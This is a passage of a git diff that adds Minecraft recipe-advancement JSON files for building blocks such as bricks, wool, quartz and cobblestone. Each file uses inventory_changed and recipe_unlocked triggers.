"minecraft:blue_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:blue_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/bone_block.json b/src/data/minecraft/advancements/recipes/building_blocks/bone_block.json new file mode 100644 index 00000000..781c498d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/bone_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bone_block" + ] + }, + "criteria": { + "has_bonemeal": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bone_meal" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bone_block" + } + } + }, + "requirements": [ + [ + "has_bonemeal", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/bookshelf.json b/src/data/minecraft/advancements/recipes/building_blocks/bookshelf.json new file mode 100644 index 00000000..11e01385 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/bookshelf.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bookshelf" + ] + }, + "criteria": { + "has_book": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:book" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bookshelf" + } + } + }, + "requirements": [ + [ + "has_book", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brick_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/brick_slab.json new file mode 100644 index 00000000..fa16b8d9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brick_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_slab" + ] + }, + "criteria": { + "has_brick_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_slab" + } + } + }, + "requirements": [ + [ + "has_brick_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brick_slab_from_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/brick_slab_from_bricks_stonecutting.json new file mode 100644 index 00000000..4bffb948 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brick_slab_from_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_slab_from_bricks_stonecutting" + ] + }, + "criteria": { + "has_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_slab_from_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs.json new file mode 100644 index 00000000..dbf8c8ef --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_stairs" + ] + }, + "criteria": { + "has_brick_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_stairs" + } + } + }, + "requirements": [ + [ + "has_brick_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs_from_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs_from_bricks_stonecutting.json new file mode 100644 index 00000000..acc51f67 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brick_stairs_from_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brick_stairs_from_bricks_stonecutting" + ] + }, + "criteria": { + "has_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brick_stairs_from_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/bricks.json new file mode 100644 index 00000000..83e4daab --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bricks" + ] + }, + "criteria": { + "has_brick": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brick" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bricks" + } + } + }, + "requirements": [ + [ + "has_brick", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brown_concrete_powder.json b/src/data/minecraft/advancements/recipes/building_blocks/brown_concrete_powder.json new file mode 100644 index 00000000..2ee34f1e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brown_concrete_powder.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_concrete_powder" + ] + }, + "criteria": { + "has_sand": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sand" + } + ] + } + }, + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_concrete_powder" + } + } + }, + "requirements": [ + [ + "has_sand", + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brown_stained_glass.json b/src/data/minecraft/advancements/recipes/building_blocks/brown_stained_glass.json new file mode 100644 index 00000000..53f7b1a7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brown_stained_glass.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_stained_glass" + ] + }, + "criteria": { + "has_glass": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:glass" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_stained_glass" + } + } + }, + "requirements": [ + [ + "has_glass", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brown_terracotta.json b/src/data/minecraft/advancements/recipes/building_blocks/brown_terracotta.json new file mode 100644 index 00000000..33e02e48 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brown_terracotta.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_terracotta" + ] + }, + "criteria": { + "has_terracotta": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:terracotta" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_terracotta" + } + } + }, + "requirements": [ + [ + "has_terracotta", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/brown_wool.json b/src/data/minecraft/advancements/recipes/building_blocks/brown_wool.json new file mode 100644 index 00000000..8e660f52 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/brown_wool.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:brown_wool" + ] + }, + "criteria": { + "has_white_wool": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:white_wool" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:brown_wool" + } + } + }, + "requirements": [ + [ + "has_white_wool", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks.json new file mode 100644 index 00000000..91a904fb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_nether_bricks" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_nether_bricks" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks_from_nether_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks_from_nether_bricks_stonecutting.json new file mode 100644 index 00000000..2d186067 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_nether_bricks_from_nether_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_nether_bricks_from_nether_bricks_stonecutting" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_nether_bricks_from_nether_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone.json new file mode 100644 index 00000000..ebbd2dbe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_polished_blackstone" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_polished_blackstone" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_blackstone_stonecutting.json new file mode 100644 index 00000000..b6338ea4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_polished_blackstone_from_blackstone_stonecutting" + ] + }, + "criteria": { + "has_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_polished_blackstone_from_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json new file mode 100644 index 00000000..240c36ed --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_polished_blackstone_from_polished_blackstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_polished_blackstone_from_polished_blackstone_stonecutting" + ] + }, + "criteria": { + "has_polished_blackstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:polished_blackstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_polished_blackstone_from_polished_blackstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_polished_blackstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block.json new file mode 100644 index 00000000..5783777c --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_quartz_block" + ] + }, + "criteria": { + "has_chiseled_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_quartz_block" + } + ] + } + }, + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_quartz_pillar": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_pillar" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_quartz_block" + } + } + }, + "requirements": [ + [ + "has_chiseled_quartz_block", + "has_quartz_block", + "has_quartz_pillar", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block_from_quartz_block_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block_from_quartz_block_stonecutting.json new file mode 100644 index 00000000..4f7859ab --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_quartz_block_from_quartz_block_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_quartz_block_from_quartz_block_stonecutting" + ] + }, + "criteria": { + "has_quartz_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:quartz_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_quartz_block_from_quartz_block_stonecutting" + } + } + }, + "requirements": [ + [ + "has_quartz_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone.json new file mode 100644 index 00000000..19d362bb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_red_sandstone" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_chiseled_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chiseled_red_sandstone" + } + ] + } + }, + "has_cut_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cut_red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_red_sandstone" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_chiseled_red_sandstone", + "has_cut_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone_from_red_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..c725de47 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_red_sandstone_from_red_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_red_sandstone_from_red_sandstone_stonecutting" + ] + }, + "criteria": { + "has_red_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_red_sandstone_from_red_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_red_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone.json new file mode 100644 index 00000000..444c36a9 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_sandstone" + ] + }, + "criteria": { + "has_stone_slab": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone_slab" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_sandstone" + } + } + }, + "requirements": [ + [ + "has_stone_slab", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone_from_sandstone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone_from_sandstone_stonecutting.json new file mode 100644 index 00000000..fe7a532d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_sandstone_from_sandstone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_sandstone_from_sandstone_stonecutting" + ] + }, + "criteria": { + "has_sandstone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:sandstone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_sandstone_from_sandstone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_sandstone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks.json new file mode 100644 index 00000000..28b37c64 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_stone_bricks" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "tag": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_stone_bricks" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_from_stone_bricks_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..aaa2d22a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_from_stone_bricks_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_stone_bricks_from_stone_bricks_stonecutting" + ] + }, + "criteria": { + "has_stone_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_stone_bricks_from_stone_bricks_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_stone_from_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_stone_from_stonecutting.json new file mode 100644 index 00000000..954ac198 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/chiseled_stone_bricks_stone_from_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:chiseled_stone_bricks_stone_from_stonecutting" + ] + }, + "criteria": { + "has_stone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:stone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:chiseled_stone_bricks_stone_from_stonecutting" + } + } + }, + "requirements": [ + [ + "has_stone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/clay.json b/src/data/minecraft/advancements/recipes/building_blocks/clay.json new file mode 100644 index 00000000..49ff3c33 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/clay.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:clay" + ] + }, + "criteria": { + "has_clay_ball": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:clay_ball" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:clay" + } + } + }, + "requirements": [ + [ + "has_clay_ball", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/coal_block.json b/src/data/minecraft/advancements/recipes/building_blocks/coal_block.json new file mode 100644 index 00000000..90d807ec --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/coal_block.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:coal_block" + ] + }, + "criteria": { + "has_coal": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:coal" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:coal_block" + } + } + }, + "requirements": [ + [ + "has_coal", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/coarse_dirt.json b/src/data/minecraft/advancements/recipes/building_blocks/coarse_dirt.json new file mode 100644 index 00000000..95acf275 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/coarse_dirt.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:coarse_dirt" + ] + }, + "criteria": { + "has_gravel": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gravel" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:coarse_dirt" + } + } + }, + "requirements": [ + [ + "has_gravel", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab.json b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab.json new file mode 100644 index 00000000..9dd93b64 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_slab" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_slab" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab_from_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..d40e2fc8 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_slab_from_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_slab_from_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_slab_from_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs.json b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs.json new file mode 100644 index 00000000..52e8f886 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_stairs" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_stairs" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs_from_cobblestone_stonecutting.json b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs_from_cobblestone_stonecutting.json new file mode 100644 index 00000000..33fa890d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cobblestone_stairs_from_cobblestone_stonecutting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cobblestone_stairs_from_cobblestone_stonecutting" + ] + }, + "criteria": { + "has_cobblestone": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cobblestone" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cobblestone_stairs_from_cobblestone_stonecutting" + } + } + }, + "requirements": [ + [ + "has_cobblestone", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cracked_nether_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/cracked_nether_bricks.json new file mode 100644 index 00000000..6b3fa7d5 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cracked_nether_bricks.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cracked_nether_bricks" + ] + }, + "criteria": { + "has_nether_bricks": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:nether_bricks" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cracked_nether_bricks" + } + } + }, + "requirements": [ + [ + "has_nether_bricks", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/building_blocks/cracked_polished_blackstone_bricks.json b/src/data/minecraft/advancements/recipes/building_blocks/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..8a291283 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/building_blocks/cracked_polished_blackstone_bricks.json @@ -0,0 +1,32 @@ +{ + 